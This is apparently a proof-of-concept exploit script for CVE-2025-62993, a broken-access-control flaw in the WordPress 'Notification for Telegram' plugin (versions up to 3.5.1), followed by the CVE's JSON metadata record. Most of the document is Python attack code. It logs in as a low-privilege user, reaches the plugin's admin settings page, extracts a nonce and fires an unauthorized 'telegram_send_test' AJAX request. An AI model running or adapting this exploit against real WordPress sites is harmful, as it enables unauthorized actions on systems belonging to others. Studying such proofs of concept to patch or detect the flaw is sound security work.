CVE-2025-62993

# CVE-2025-62993 PoC - WordPress Notification for Telegram Missing Authorization # Affected: Notification for Telegram Plugin <= 3.5.1 # Type: Broken Access Control / Missing Authorization import requests import sys TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" # Low-privilege user account PASSWORD = "password" def get_wp_nonce(html_content): """Extract WordPress nonce from page content""" import re nonce_match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', html_content) if nonce_match: return nonce_match.group(1) return None def exploit(): session = requests.Session() # Step 1: Login with low-privilege account login_url = f"{TARGET_URL}/wp-login.php" login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": "/wp-admin/admin.php?page=telegram-settings", "testcookie": "1" } response = session.post(login_url, data=login_data, allow_redirects=True) if "wordpress_logged_in" not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful with low-privilege account") # Step 2: Access vulnerable plugin functionality without proper authorization # Try to access admin settings page directly settings_url = f"{TARGET_URL}/wp-admin/admin.php?page=telegram-settings" response = session.get(settings_url) if response.status_code == 200: print("[+] Accessed settings page without proper authorization") # Step 3: Extract nonce and perform unauthorized actions nonce = get_wp_nonce(response.text) # Step 4: Send unauthorized Telegram notification exploit_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" exploit_data = { "action": "telegram_send_test", "_wpnonce": nonce if nonce else "", "message": "Unauthorized message sent via exploit" } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print("[!] Exploit successful - unauthorized action executed") print(f"[*] Response: {response.text}") return True print("[-] Exploit failed") return False if __name__ == "__main__": print("CVE-2025-62993 PoC - Notification for Telegram Broken Access Control") print("=" * 60) exploit()

{"cve": {"id": "CVE-2025-62993", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:04.623", "lastModified": "2026-04-23T15:34:55.647", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in rainafarai Notification for Telegram notification-for-telegram allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Notification for Telegram: from n/a through <= 3.5.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/notification-for-telegram/vulnerability/wordpress-notification-for-telegram-plugin-3-4-7-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}